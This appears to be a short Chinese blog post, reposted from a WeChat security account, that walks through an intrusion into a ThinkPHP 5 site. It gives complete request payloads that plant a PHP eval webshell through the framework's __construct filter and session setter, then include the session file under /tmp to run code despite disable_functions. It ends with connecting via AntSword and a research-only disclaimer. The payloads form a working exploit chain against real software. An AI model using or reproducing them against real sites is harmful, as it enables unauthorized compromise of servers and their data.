前言:
碰到一个thinkphp的站点,发现其存在RCE漏洞,但是因为disable_functions禁用了很多命令执行函数,导致没办法使用常规的paylaod,经过测试发现可以利用session包含的方式来进行Getshell。
1、在phpinfo中发现disable_functions禁用了很多命令执行函数
2、首先通过设置session会话并传入一句话木马
_method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
3、然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
4、sessionid 可以在cookie中找到
5、使用蚁剑连接
蚁剑配置如下
设置请求Body
6、成功连接
原文始发于微信公众号(安全攻防屋):记一次ThinkPHP站点利用Session包含Getshell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论